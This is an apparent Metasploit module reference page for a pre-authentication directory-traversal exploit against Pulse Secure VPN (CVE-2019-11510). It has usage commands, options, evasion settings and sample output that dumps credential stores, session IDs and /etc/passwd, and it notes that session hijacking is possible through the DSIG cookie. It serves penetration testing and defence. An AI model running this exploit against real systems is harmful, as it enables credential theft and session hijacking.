Pulse Secure VPN Arbitrary File Disclosure - Metasploit

This page contains detailed information about how to use the auxiliary/gather/pulse_secure_file_disclosure metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Pulse Secure VPN Arbitrary File Disclosure
Module: auxiliary/gather/pulse_secure_file_disclosure
Source code: modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Disclosure date: 2019-04-24
Last modification time: 2020-01-14 00:34:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-11510

This module exploits a pre-auth directory traversal in the Pulse Secure VPN server to dump an arbitrary file. Dumped files are stored in loot. If the "Automatic" action is set, plaintext and hashed credentials, as well as session IDs, will be dumped. Valid sessions can be hijacked by setting the "DSIG" browser cookie to a valid session ID. For the "Manual" action, please specify a file to dump via the "FILE" option. /etc/passwd will be dumped by default. If the "PRINT" option is set, file contents will be printed to the screen, with any unprintable characters replaced by a period. Please see related module exploit/linux/http/pulse_secure_cmd_exec for a post-auth exploit that can leverage the results from this module.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use auxiliary/gather/pulse_secure_file_disclosure
msf auxiliary(pulse_secure_file_disclosure) > show targets
    ... a list of targets ...
msf auxiliary(pulse_secure_file_disclosure) > set TARGET target-id
msf auxiliary(pulse_secure_file_disclosure) > show options
    ... show and set options ...
msf auxiliary(pulse_secure_file_disclosure) > exploit

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Name       Description
----       -----------
Automatic  Dump creds and sessions
Manual     Dump an arbitrary file (FILE option)

msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]

[*] Running in automatic mode
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
[*] Parsing session IDs...
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: acbef5625
[+] Session ID found: c145e683a
[+] Session ID found: fc6c097dd
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[*] Dumping /data/runtime/mtmp/system
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot

Loot
====

host         service  type                                        name                                        content                   info                   path
----         -------  ----                                        ----                                        -------                   ----                   ----
[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/lmdb/dataa/data.mdb      application/octet-stream  Plaintext credentials  /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/lmdb/randomVal/data.mdb  application/octet-stream  Session IDs            /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/system                   application/octet-stream  Hashed credentials     /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin

msf5 auxiliary(gather/pulse_secure_file_disclosure) >

msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
action => Manual
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]

[*] Running in manual mode
[*] Dumping /etc/passwd
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
postgres:x:102:102:PostgreSQL User:/:

[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) >

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Msfconsole Usage

Here is how the gather/pulse_secure_file_disclosure auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/pulse_secure_file_disclosure

msf6 auxiliary(gather/pulse_secure_file_disclosure) > show info

       Name: Pulse Secure VPN Arbitrary File Disclosure
     Module: auxiliary/gather/pulse_secure_file_disclosure
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-04-24

Provided by:
  Orange Tsai
  Meh Chang
  Alyssa Herrera
  Justin Wagner
  wvu <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name       Description
  ----       -----------
  Automatic  Dump creds and sessions
  Manual     Dump an arbitrary file (FILE option)

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FILE     /etc/passwd      yes       File to dump (manual mode only)
  PRINT    true             no        Print file contents (manual mode only)
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    443              yes       The target port (TCP)
  SSL      true             no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  This module exploits a pre-auth directory traversal in the Pulse 
  Secure VPN server to dump an arbitrary file. Dumped files are stored 
  in loot. If the "Automatic" action is set, plaintext and hashed 
  credentials, as well as session IDs, will be dumped. Valid sessions 
  can be hijacked by setting the "DSIG" browser cookie to a valid 
  session ID. For the "Manual" action, please specify a file to dump 
  via the "FILE" option. /etc/passwd will be dumped by default. If the 
  "PRINT" option is set, file contents will be printed to the screen, 
  with any unprintable characters replaced by a period. Please see 
  related module exploit/linux/http/pulse_secure_cmd_exec for a 
  post-auth exploit that can leverage the results from this module.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-11510
  https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
  https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
  https://hackerone.com/reports/591295

Related modules:
  exploit/linux/http/pulse_secure_cmd_exec

Module Options

This is a complete list of options available in the gather/pulse_secure_file_disclosure auxiliary module:

msf6 auxiliary(gather/pulse_secure_file_disclosure) > show options

Module options (auxiliary/gather/pulse_secure_file_disclosure):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FILE     /etc/passwd      yes       File to dump (manual mode only)
   PRINT    true             no        Print file contents (manual mode only)
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Auxiliary action:

   Name       Description
   ----       -----------
   Automatic  Dump creds and sessions

Advanced Options

Here is a complete list of advanced options supported by the gather/pulse_secure_file_disclosure auxiliary module:

msf6 auxiliary(gather/pulse_secure_file_disclosure) > show advanced

Module advanced options (auxiliary/gather/pulse_secure_file_disclosure):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout     5                                                   no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/pulse_secure_file_disclosure module can do:

msf6 auxiliary(gather/pulse_secure_file_disclosure) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   Automatic  Dump creds and sessions
   Manual     Dump an arbitrary file (FILE option)

Evasion Options

Here is the full list of possible evasion options supported by the gather/pulse_secure_file_disclosure auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/pulse_secure_file_disclosure) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not dump <PATH>

Here is a relevant code snippet related to the "Could not dump <PATH>" error message:

109:	        'uri'     => dir_traversal(path),
110:	        'partial' => true # Allow partial response due to timeout
111:	      )
112:	
113:	      unless res
114:	        fail_with(Failure::Unreachable, "Could not dump #{path}")
115:	      end
116:	
117:	      handle_response(res, path, info)
118:	    end
119:	  end

Redirected to <RES.REDIRECTION>

Here is a relevant code snippet related to the "Redirected to <RES.REDIRECTION>" error message:

144:	        res.body,                   # data
145:	        path,                       # filename
146:	        info                        # info
147:	      ))
148:	    when 302
149:	      fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150:	    when 400
151:	      print_error("Invalid path #{path}")
152:	    when 404
153:	      print_error("#{path} not found")
154:	    else

Invalid path <PATH>

Here is a relevant code snippet related to the "Invalid path <PATH>" error message:

146:	        info                        # info
147:	      ))
148:	    when 302
149:	      fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150:	    when 400
151:	      print_error("Invalid path #{path}")
152:	    when 404
153:	      print_error("#{path} not found")
154:	    else
155:	      print_error("I don't know what a #{res.code} code is")
156:	    end

<PATH> not found

Here is a relevant code snippet related to the "<PATH> not found" error message:

148:	    when 302
149:	      fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150:	    when 400
151:	      print_error("Invalid path #{path}")
152:	    when 404
153:	      print_error("#{path} not found")
154:	    else
155:	      print_error("I don't know what a #{res.code} code is")
156:	    end
157:	  end
158:	

I don't know what a <RES.CODE> code is

Here is a relevant code snippet related to the "I don't know what a <RES.CODE> code is" error message:

150:	    when 400
151:	      print_error("Invalid path #{path}")
152:	    when 404
153:	      print_error("#{path} not found")
154:	    else
155:	      print_error("I don't know what a #{res.code} code is")
156:	    end
157:	  end
158:	
159:	  def dir_traversal(path)
160:	    normalize_uri(

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Related Pull Requests

• #12820 Merged Pull Request: Fix #12813, prefer send_request_cgi over send_request_raw
• #12816 Merged Pull Request: add citrix path traversal exploit
• #12511 Merged Pull Request: Pulse Secure VPN arbitrary file disclosure (redux)

References

• CVE-2019-11510
• https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
• https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
• https://hackerone.com/reports/591295

See Also

Check also the following modules related to this module:

• exploit/linux/http/pulse_secure_cmd_exec
• exploit/linux/http/pulse_secure_gzip_rce
• post/windows/gather/credentials/pulse_secure
• auxiliary/admin/http/webnms_cred_disclosure
• auxiliary/admin/webmin/file_disclosure
• auxiliary/gather/c2s_dvr_password_disclosure
• auxiliary/gather/cerberus_helpdesk_hash_disclosure
• auxiliary/gather/eventlog_cred_disclosure
• auxiliary/gather/f5_bigip_cookie_disclosure
• auxiliary/gather/flash_rosetta_jsonp_url_disclosure
• auxiliary/gather/ipcamera_password_disclosure
• auxiliary/gather/jetty_web_inf_disclosure
• auxiliary/gather/netgear_password_disclosure
• auxiliary/gather/zookeeper_info_disclosure
• auxiliary/scanner/http/apache_activemq_source_disclosure
• auxiliary/scanner/http/litespeed_source_disclosure
• auxiliary/scanner/http/nginx_source_disclosure
• auxiliary/scanner/http/wp_mobile_pack_info_disclosure
• auxiliary/scanner/misc/dvr_config_disclosure
• auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
• auxiliary/gather/hikvision_info_disclosure_cve_2017_7921
• exploit/multi/http/zpanel_information_disclosure_rce
• exploit/windows/http/disk_pulse_enterprise_bof
• exploit/windows/http/disk_pulse_enterprise_get
• auxiliary/gather/android_browser_file_theft
• auxiliary/gather/android_htmlfileprovider
• auxiliary/gather/darkcomet_filedownloader
• auxiliary/gather/firefox_pdfjs_file_theft
• auxiliary/gather/ie_sandbox_findfiles
• auxiliary/gather/mikrotik_winbox_fileread
• auxiliary/gather/nuuo_cms_file_download
• auxiliary/gather/rails_doubletap_file_read
• auxiliary/gather/safari_file_url_navigation
• auxiliary/admin/networking/cisco_secure_acs_bypass
• auxiliary/scanner/http/wp_secure_copy_content_protection_sqli

Related Nessus plugins:

• Pulse Connect Secure Multiple Vulnerabilities (SA44101)

Authors

• Orange Tsai
• Meh Chang
• Alyssa Herrera
• Justin Wagner
• wvu

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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